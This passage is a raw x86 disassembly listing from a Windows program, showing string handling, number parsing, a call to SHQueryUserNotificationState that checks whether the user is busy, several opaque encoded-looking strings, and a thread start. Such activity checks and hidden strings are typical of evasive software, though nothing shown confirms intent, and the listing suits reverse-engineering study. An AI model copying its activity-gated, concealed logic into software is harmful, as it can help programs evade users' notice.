lea esi, [eax + 0x10]
mov dword [ebp - 0x2c], esi
jmp 0x40b370
push dword [edx + 4]
lea ecx, [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.0042fa90
mov esi, dword [ebp - 0x2c]
mov byte [ebp - 4], 0x42
mov eax, edi
mov edx, dword [ebp - 0x24]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b38e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [esi - 0xc], 0x14
jl 0x40b83d
push 8
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x2c]
call fcn.00420030
mov edi, eax
mov byte [ebp - 4], 0x44
mov eax, dword [edi]
cmp dword [eax - 4], 1
jle 0x40b3be
push dword [eax - 0xc]
mov ecx, edi
call fcn.0042f8e0
mov edx, dword [edi]
xorps xmm0, xmm0
mov ecx, edx
mov dword [ebp - 0xe8], 0
movups xmmword [ebp - 0xf8], xmm0
mov dword [ebp - 0xe4], 0
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40b3e3
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0xf8]
call fcn.0042db40
mov byte [ebp - 4], 0x45
call fcn.0054eaad
cmp dword [ebp - 0xe4], 8
lea edi, [ebp - 0xf8]
mov dword [ebp - 0x14], eax
cmovae edi, dword [ebp - 0xf8]
mov dword [eax], 0
lea eax, [ebp - 0x40]
push 0x10
push eax
push edi
call fcn.00550572
add esp, 0xc
mov dword [ebp - 0x34], edx
cmp edi, dword [ebp - 0x40]
je 0x40c7f9
mov ecx, dword [ebp - 0x14]
cmp dword [ecx], 0x22
je 0x40c7ef
test edx, edx
ja 0x40b457
jb 0x40b45a
cmp eax, 0xffffffff
jbe 0x40b45a
or eax, 0xffffffff
lea ecx, [ebp - 0xf8]
mov dword [ebp - 0x48], eax
call fcn.0042f050
mov byte [ebp - 4], 0x42
or eax, 0xffffffff
mov edx, dword [ebp - 0x54]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b487
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [esi - 0xc]
lea ecx, [ebp - 0x2c]
push 8
add eax, 0xfffffff8
push eax
call fcn.004203f0
push ecx
mov edi, esp
mov dword [ebp - 0x34], edi
mov esi, dword [ebp - 0x2c]
lea ecx, [esi - 0x10]
call fcn.0042ee10
add eax, 0x10
mov dword [edi], eax
call fcn.00447e30
add esp, 4
cmp eax, dword [ebp - 0x48]
jne 0x40b83a
cmp dword [esi - 0xc], 4
jg 0x40b4d8
lea ecx, [esi - 0x10]
call fcn.0042ee10
lea edi, [eax + 0x10]
mov dword [ebp - 0x18], edi
jmp 0x40b564
mov ecx, dword [esi - 0x10]
test ecx, ecx
je 0x40b4ea
mov eax, dword [ecx]
mov eax, dword [eax + 0x10]
call eax
test eax, eax
jne 0x40b500
call fcn.0042f4e0
mov ecx, eax
mov edx, dword [eax]
mov eax, dword [edx + 0x10]
call eax
test eax, eax
je 0x40c71b
test esi, esi
je 0x40c808
mov ecx, dword [eax]
push 2
push 4
mov edx, dword [ecx]
mov ecx, eax
call edx
test eax, eax
je 0x40c803
cmp dword [eax + 8], 4
lea edi, [eax + 0x10]
mov dword [ebp - 0x18], edi
jl 0x40c808
xor eax, eax
mov dword [edi - 0xc], 4
mov word [edi + 8], ax
test edi, edi
je 0x40b554
test esi, esi
je 0x40b54d
mov eax, dword [esi]
mov ecx, dword [esi + 4]
mov dword [edi], eax
mov dword [edi + 4], ecx
jmp 0x40b564
xorps xmm0, xmm0
movq qword [edi], xmm0
call fcn.0054eaad
mov dword [eax], 0x16
call fcn.0054e9af
mov eax, dword [ebp - 0x20]
mov ecx, 1
mov byte [ebp - 4], 0x46
or ecx, eax
cmp dword [edi - 4], 1
mov dword [ebp - 0x28], ecx
jle 0x40b589
push dword [edi - 0xc]
lea ecx, [ebp - 0x18]
call fcn.0042f8e0
mov edi, dword [ebp - 0x18]
mov ecx, edi
mov dword [ebp - 0xc4], 0
xorps xmm0, xmm0
mov dword [ebp - 0xc0], 0
movups xmmword [ebp - 0xd4], xmm0
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40b5b0
sub ecx, edx
sar ecx, 1
push ecx
push edi
lea ecx, [ebp - 0xd4]
call fcn.0042db40
mov byte [ebp - 4], 0x47
call fcn.0054eaad
cmp dword [ebp - 0xc0], 8
lea esi, [ebp - 0xd4]
mov dword [ebp - 0x14], eax
cmovae esi, dword [ebp - 0xd4]
mov dword [eax], 0
lea eax, [ebp - 0x58]
push 0x10
push eax
push esi
call fcn.00550572
add esp, 0xc
mov dword [ebp - 0x34], edx
mov ecx, eax
mov dword [ebp - 0x44], ecx
cmp esi, dword [ebp - 0x58]
je 0x40c7f9
mov eax, dword [ebp - 0x14]
cmp dword [eax], 0x22
je 0x40c7ef
test edx, edx
ja 0x40b629
jb 0x40b630
cmp ecx, 0xffffffff
jbe 0x40b630
mov dword [ebp - 0x44], 0xffffffff
lea ecx, [ebp - 0xd4]
call fcn.0042f050
lea edx, [edi - 0x10]
mov byte [ebp - 4], 0x42
or edi, 0xffffffff
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b659
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 4
push 0
lea ecx, [ebp - 0x2c]
call fcn.004203f0
mov esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x20], eax
cmp dword [esi - 0xc], 0
jle 0x40b83d
push 8
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.00420030
mov edi, eax
mov byte [ebp - 4], 0x48
mov eax, dword [edi]
cmp dword [eax - 4], 1
jle 0x40b69e
push dword [eax - 0xc]
mov ecx, edi
call fcn.0042f8e0
mov edx, dword [edi]
xorps xmm0, xmm0
mov eax, edx
mov dword [ebp - 0x100], 0
movups xmmword [ebp - 0x110], xmm0
mov dword [ebp - 0xfc], 0
lea edi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40b6c3
sub eax, edi
lea ecx, [ebp - 0x110]
sar eax, 1
push eax
push edx
call fcn.0042db40
mov byte [ebp - 4], 0x49
call fcn.0054eaad
cmp dword [ebp - 0xfc], 8
lea edi, [ebp - 0x110]
mov dword [ebp - 0x14], eax
cmovae edi, dword [ebp - 0x110]
mov dword [eax], 0
lea eax, [ebp - 0x8c]
push 0x10
push eax
push edi
call fcn.00550572
add esp, 0xc
mov dword [ebp - 0x34], edx
cmp edi, dword [ebp - 0x8c]
je 0x40c7f9
mov ecx, dword [ebp - 0x14]
cmp dword [ecx], 0x22
je 0x40c7ef
test edx, edx
ja 0x40b73d
jb 0x40b740
cmp eax, 0xffffffff
jbe 0x40b740
or eax, 0xffffffff
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x48], eax
call fcn.0042f050
mov byte [ebp - 4], 0x42
or edi, 0xffffffff
mov edx, dword [ebp - 0x5c]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b76f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0xe0]
push eax
lea ecx, [ebp - 0x64]
call fcn.004245d0
mov ecx, dword [ebp - 0xd8]
cmp byte [ecx + 0xd], 0
jne 0x40b79a
mov eax, dword [ebp - 0x48]
cmp eax, dword [ecx + 0x10]
jae 0x40b80e
cmp dword [ebp - 0x60], 0xaaaaaaa
je 0x40c7ea
mov edi, dword [ebp - 0x64]
lea eax, [ebp - 0x64]
mov dword [ebp - 0xb4], eax
mov byte [ebp - 4], 0x4a
push 0x18
mov dword [ebp - 0xb0], 0
call fcn.00549aa4
mov byte [ebp - 4], 0x42
add esp, 4
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0xb0], 0
mov dword [eax + 0x10], ecx
lea ecx, [ebp - 0x64]
push eax
push dword [ebp - 0xdc]
mov dword [eax + 0x14], 0
push dword [ebp - 0xe0]
mov dword [eax], edi
mov dword [eax + 4], edi
mov dword [eax + 8], edi
mov word [eax + 0xc], 0
call fcn.00423bc0
mov ecx, eax
or edi, 0xffffffff
mov eax, dword [ebp - 0x44]
mov dword [ecx + 0x14], eax
lea ecx, [ebp - 0x2c]
mov eax, dword [esi - 0xc]
push 8
add eax, 0xfffffff8
push eax
call fcn.004203f0
mov esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x20], eax
cmp dword [esi - 0xc], 0
jg 0x40b678
jmp 0x40b83d
or edi, 0xffffffff
push dword [ebp - 0x4c]
call fcn.00550407
add esp, 4
test eax, eax
je 0x40b300
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x20], eax
lea edi, [eax + 0xc]
push edi
mov dword [ebp - 0x34], edi
call fcn.00535cc4
add esp, 4
test eax, eax
jne 0x40c7e3
mov eax, dword [edi + 0x2c]
cmp eax, 0x7fffffff
je 0x40c812
mov byte [ebp - 4], 0x4b
lea eax, [ebp - 0x64]
mov ecx, dword [ebp - 0x20]
add ecx, 4
cmp ecx, eax
je 0x40b928
mov eax, dword [ecx]
mov dword [ebp - 0x14], eax
push dword [eax + 4]
push ecx
call fcn.00424620
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x20]
add ecx, 4
mov dword [eax + 4], eax
mov dword [eax], eax
mov dword [eax + 8], eax
push dword [ecx]
mov dword [ecx + 4], 0
mov eax, dword [ebp - 0x64]
push dword [eax + 4]
call fcn.00460480
mov edx, dword [ebp - 0x20]
mov ecx, dword [edx + 4]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x60]
mov dword [edx + 8], eax
mov eax, dword [edx + 4]
mov ecx, dword [eax + 4]
cmp byte [ecx + 0xd], 0
jne 0x40b920
mov eax, dword [ecx]
cmp byte [eax + 0xd], 0
jne 0x40b8fa
nop dword [eax]
mov ecx, eax
mov eax, dword [ecx]
cmp byte [eax + 0xd], 0
je 0x40b8f0
mov eax, dword [edx + 4]
mov dword [eax], ecx
mov edx, dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ecx + 8]
cmp byte [eax + 0xd], 0
jne 0x40b91b
nop
mov ecx, eax
mov eax, dword [ecx + 8]
cmp byte [eax + 0xd], 0
je 0x40b910
mov dword [edx + 8], ecx
jmp 0x40b928
mov dword [eax], eax
mov eax, dword [edx + 4]
mov dword [eax + 8], eax
push edi
call fcn.00535cd5
mov eax, dword [ebp - 0x64]
add esp, 4
push dword [eax + 4]
lea eax, [ebp - 0x64]
push eax
mov ecx, eax
call fcn.00424620
push 0x18
push dword [ebp - 0x64]
call fcn.00549ad4
add esp, 8
jmp 0x40b0aa
cmp dword [esi - 4], 1
jle 0x40b968
push dword [esi - 0xc]
lea ecx, [ebp - 0x2c]
call fcn.0042f8e0
mov esi, dword [ebp - 0x2c]
push esi
call fcn.005501ef
add esp, 4
mov edi, eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x48], edi
push eax
call dword [sym.imp.SHELL32.dll_SHQueryUserNotificationState]
mov eax, dword [ebp - 0x14]
cmp eax, 5
je 0x40bbe3
cmp eax, 7
je 0x40bbe3
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c71b
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x28], eax
push str.cHl5zOB8fsH10CwJh1RuAxoYdShQcrHQ
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x66
call fcn.0042f750
test al, al
jne 0x40b9d5
push 0x22
push str.cHl5zOB8fsH10CwJh1RuAxoYdShQcrHQ
lea ecx, [ebp - 0x28]
call fcn.0042fa90
mov byte [ebp - 4], 0x68
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c81d
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x30], eax
push edi
push ecx
mov byte [ebp - 4], 0x69
mov edi, esp
mov dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x70]
lea ecx, [ecx - 0x10]
call fcn.0042ee10
add eax, 0x10
lea ecx, [ebp - 0x14]
mov dword [edi], eax
call fcn.00445a80
add esp, 4
mov byte [ebp - 4], 0x6a
push dword [eax]
lea eax, [ebp - 0x30]
push eax
call fcn.00421db0
mov byte [ebp - 4], 0x69
add esp, 0xc
mov edx, dword [ebp - 0x14]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40ba4c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c827
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x18], eax
push 0x5911fc
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x6b
call fcn.0042f750
test al, al
jne 0x40ba8c
push 0
push 0x5911fc
lea ecx, [ebp - 0x18]
call fcn.0042fa90
mov byte [ebp - 4], 0x6c
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c831
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
push 0x5911fc
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x6d
call fcn.0042f750
test al, al
jne 0x40bad0
push 0
push 0x5911fc
lea ecx, [ebp - 0x20]
call fcn.0042fa90
push ecx
mov byte [ebp - 4], 0x6e
mov edi, esp
mov dword [ebp - 0x34], edi
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x54], eax
call fcn.0042ee10
add eax, 0x10
lea ecx, [ebp - 0x40]
mov dword [edi], eax
call fcn.00445a80
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x6f
mov dword [ebp - 0x14], esp
mov edi, dword [ebp - 0x50]
lea ecx, [edi - 0x10]
call fcn.0042ee10
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
lea ecx, [ebp - 0x24]
call fcn.00445a80
add esp, 4
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x70
mov edx, dword [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x30]
push ecx
mov ecx, eax
call fcn.00454c90
mov edx, dword [ebp - 0x24]
add esp, 0xc
add edx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bb56
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x40]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bb71
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bb8c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x18]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bba7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x30]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bbc2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x54]
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b0ad
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x40b0ad
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c71b
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x28], eax
push 0x58bf08
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x4c
call fcn.0042f750
test al, al
jne 0x40bc23
push 0x13
push 0x58bf08
lea ecx, [ebp - 0x28]
call fcn.0042fa90
mov byte [ebp - 4], 0x4d
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c83b
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x30], eax
push str.cW9m0SD0OlFTwlQBgst
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x4e
call fcn.0042f750
test al, al
jne 0x40bc67
push 0x13
push str.cW9m0SD0OlFTwlQBgst
lea ecx, [ebp - 0x30]
call fcn.0042fa90
push ecx
mov byte [ebp - 4], 0x4f
mov dword [ebp - 0x34], esp
mov dword [ebp - 0x14], esp
push ecx
mov edi, esp
mov dword [ebp - 0x24], edi
mov ecx, dword [0x5c4e64]
lea ecx, [ecx - 0x10]
call fcn.0042ee10
mov ecx, dword [ebp - 0x14]
add eax, 0x10
mov dword [edi], eax
call fcn.00445a80
mov byte [ebp - 4], 0x50
lea ecx, [esi - 0x10]
mov dword [ebp - 0x24], esp
mov dword [ebp - 0x14], edi
call fcn.0042ee10
add eax, 0x10
mov dword [edi], eax
mov byte [ebp - 4], 0x51
push ecx
mov dword [ebp - 0x14], esp
push ecx
mov edi, esp
mov dword [ebp - 0x40], edi
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x58], eax
call fcn.0042ee10
mov ecx, dword [ebp - 0x14]
add eax, 0x10
mov dword [edi], eax
call fcn.00445a80
add esp, 4
mov byte [ebp - 4], 0x4f
mov ecx, SysReAllocString
call fcn.00448d70
mov edx, dword [ebp - 0x4c]
lea ecx, [ebp - 0x1c]
add esp, 0xc
call fcn.00449000
mov byte [ebp - 4], 0x52
lea edi, [esi - 0x10]
mov edx, dword [eax]
lea ecx, [edx - 0x10]
cmp ecx, edi
je 0x40bd4d
mov eax, dword [edi + 0xc]
lea esi, [edi + 0xc]
shr eax, 0x1f
test al, al
jne 0x40bd3e
mov eax, dword [ecx]
cmp eax, dword [edi]
jne 0x40bd3e
call fcn.0042ee10
mov dword [ebp - 0x14], eax
or ecx, 0xffffffff
lock xadd dword [esi], ecx
dec ecx
test ecx, ecx
jg 0x40bd36
mov ecx, dword [edi]
push edi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x14]
lea esi, [eax + 0x10]
mov dword [ebp - 0x2c], esi
jmp 0x40bd4d
push dword [ecx + 4]
lea ecx, [ebp - 0x2c]
push edx
call fcn.0042fa90
mov esi, dword [ebp - 0x2c]
mov byte [ebp - 4], 0x4f
or eax, 0xffffffff
mov edx, dword [ebp - 0x1c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bd6c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [esi - 4], 1
jle 0x40bd80
push dword [esi - 0xc]
lea ecx, [ebp - 0x2c]
call fcn.0042f8e0
mov esi, dword [ebp - 0x2c]
push esi
call fcn.005501ef
mov dword [ebp - 0x34], esp
mov dword [ebp - 0x14], esp
push ecx
mov edi, esp
mov dword [ebp - 0x1c], edi
mov ecx, dword [0x5c4e64]
lea ecx, [ecx - 0x10]
call fcn.0042ee10
mov ecx, dword [ebp - 0x14]
add eax, 0x10
mov dword [edi], eax
call fcn.00445a80
mov byte [ebp - 4], 0x53
lea ecx, [esi - 0x10]
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x14], edi
call fcn.0042ee10
add eax, 0x10
mov dword [edi], eax
mov byte [ebp - 4], 0x54
push ecx
mov dword [ebp - 0x14], esp
push ecx
mov edi, esp
mov dword [ebp - 0x24], edi
mov eax, dword [ebp - 0x30]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x54], eax
call fcn.0042ee10
mov ecx, dword [ebp - 0x14]
add eax, 0x10
mov dword [edi], eax
call fcn.00445a80
add esp, 4
mov byte [ebp - 4], 0x4f
mov ecx, SysReAllocString
call fcn.00448d70
add esp, 0xc
mov byte [ebp - 4], 0x55
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c845
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x56
push dword [ebp - 0x48]
push ecx
mov edi, esp
mov dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x70]
lea ecx, [ecx - 0x10]
call fcn.0042ee10
add eax, 0x10
lea ecx, [ebp - 0x14]
mov dword [edi], eax
call fcn.00445a80
add esp, 4
mov byte [ebp - 4], 0x57
push dword [eax]
lea eax, [ebp - 0x44]
push eax
call fcn.00421db0
mov byte [ebp - 4], 0x56
add esp, 0xc
mov edx, dword [ebp - 0x14]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40be7c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c84f
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x18], eax
push 0x5911fc
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x58
call fcn.0042f750
test al, al
jne 0x40bebc
push 0
push 0x5911fc
lea ecx, [ebp - 0x18]
call fcn.0042fa90
mov byte [ebp - 4], 0x59
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c859
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
push 0x5911fc
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x5a
call fcn.0042f750
test al, al
jne 0x40bf00
push 0
push 0x5911fc
lea ecx, [ebp - 0x20]
call fcn.0042fa90
push ecx
mov byte [ebp - 4], 0x5b
mov edi, esp
mov dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x94]
lea ecx, [ecx - 0x10]
call fcn.0042ee10
add eax, 0x10
lea ecx, [ebp - 0x40]
mov dword [edi], eax
call fcn.00445a80
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x5c
mov dword [ebp - 0x14], esp
mov edi, dword [ebp - 0x50]
lea ecx, [edi - 0x10]
call fcn.0042ee10
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
lea ecx, [ebp - 0x24]
call fcn.00445a80
add esp, 4
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x5d
mov edx, dword [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x44]
push ecx
mov ecx, eax
call fcn.00454c90
mov edx, dword [ebp - 0x24]
add esp, 0xc
add edx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bf84
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x40]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bf9f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bfba
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x56
or eax, 0xffffffff
mov edx, dword [ebp - 0x18]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bfd9
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [ebp - 0x48], 0
je 0x40c219
mov eax, dword [ebp - 0x3c]
cmp dword [eax + 0x118], 0
jne 0x40c219
mov byte [ebp - 4], 0x5e
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c863
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x5f
mov eax, dword [ebp - 0x48]
push eax
sub esp, 0x18
mov dword [ecx + 0x114], eax
lea eax, [ebp - 0x188]
mov ecx, esp
push eax
call fcn.0042ef00
lea ecx, [ebp - 0x14]
call fcn.00445650
add esp, 0x18
mov byte [ebp - 4], 0x60
push dword [eax]
lea eax, [ebp - 0x18]
push eax
call fcn.00421db0
mov byte [ebp - 4], 0x5f
add esp, 0xc
mov edx, dword [ebp - 0x14]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c071
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.0042ef00
lea ecx, [ebp - 0x1c]
call fcn.00445650
add esp, 0x18
mov byte [ebp - 4], 0x61
mov edx, dword [eax]
mov ecx, edx
lea eax, [ecx + 2]
mov dword [ebp - 0x14], eax
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40c0a0
sub ecx, dword [ebp - 0x14]
sar ecx, 1
push ecx
mov ecx, dword [ebp - 0x3c]
push edx
lea ecx, [ecx + 0x120]
call fcn.0042e2e0
mov byte [ebp - 4], 0x5f
or eax, 0xffffffff
mov edx, dword [ebp - 0x1c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c0df
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c86d
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
push str.MHZaCOUtUDO0lAEVGAZ9S1Q0uVkQfoPFBTiFy5QWXxgpBGwpWpIRtfiEDxcpQj8pPdkATONBsK1Vi5LKRRMnrRE0
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x62
call fcn.0042f750
test al, al
jne 0x40c11f
push 0x59
push str.MHZaCOUtUDO0lAEVGAZ9S1Q0uVkQfoPFBTiFy5QWXxgpBGwpWpIRtfiEDxcpQj8pPdkATONBsK1Vi5LKRRMnrRE0
lea ecx, [ebp - 0x20]
call fcn.0042fa90
mov eax, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x63
push 4
push ecx
mov eax, dword [eax + 0x4c]
mov dword [ebp - 0x1c], esp
push ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], esp
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x40], eax
call fcn.0042ee10
mov ecx, dword [ebp - 0x1c]
mov edx, esp
add eax, 0x10
mov dword [edx], eax
call fcn.00445a80
mov ecx, dword [ebp - 0x24]
add esp, 4
call fcn.0045e0a0
mov ecx, dword [ebp - 0x3c]
push 8
push ecx
mov eax, dword [ecx + 0x4c]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], esp
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042ee10
mov ecx, dword [ebp - 0x1c]
mov edx, esp
add eax, 0x10
mov dword [edx], eax
call fcn.0045e0a0
push 4
call fcn.00549aa4
mov ecx, dword [ebp - 0x3c]
add esp, 4
mov dword [ebp - 0x34], eax
mov dword [eax], ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x64
push ecx
push 0
push eax
push 0x425450
push 0
push 0
call fcn.00555138
add esp, 0x18
mov dword [ebp - 0x90], eax
test eax, eax
je 0x40c87c
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0x65
call fcn.0042e990
cmp dword [ebp - 0x8c], 0
jne 0x40c877
mov edx, dword [ebp - 0x40]
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c201
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c219
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x44]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c234
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x54]
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c24c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x58]
jmp 0x40bbc5
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x40c88d
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x28], eax
push 0x5911fc
